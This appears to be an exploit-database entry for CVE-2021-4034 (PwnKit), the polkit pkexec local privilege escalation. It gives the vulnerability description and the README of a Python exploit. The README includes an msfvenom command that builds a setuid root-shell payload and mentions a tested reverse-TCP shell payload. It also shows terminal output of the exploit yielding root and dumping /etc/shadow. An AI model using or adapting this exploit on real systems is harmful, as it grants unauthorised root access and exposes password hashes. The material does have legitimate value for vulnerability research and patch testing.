CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/joeammond/CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

Description

Python exploit code for CVE-2021-4034 (pwnkit)

Readme

Python3 code to exploit
[CVE-2021-4034](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)
[(PWNKIT)](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt).
This was an exercise in "can I make this work in Python?", and not meant
as a robust exploit. It Works For Me, there are problaby bugs.

The default payload starts a shell as `root`, generated from `msfvenom`:

```
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
```

I've tested `linux/x64/shell_reverse_tcp` as well. Make sure you include
the `PrependSetuid=true` argument to `msfvenom`, otherwise you'll just get
a shell as the user and not root.

The code is cribbed from [blasty](https://twitter.com/bl4sty), the orginal is
available [here](https://haxx.in/files/blasty-vs-pkexec.c)

``` shell-session
$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#
```

File Snapshot


 [4.0K]  /data/pocs/5a38758666d3d03b56dce37b261e6822ec895e3a
├── [3.2K]  CVE-2021-4034.py
├── [6.9K]  LICENSE
└── [1.3K]  README.md

0 directories, 3 files

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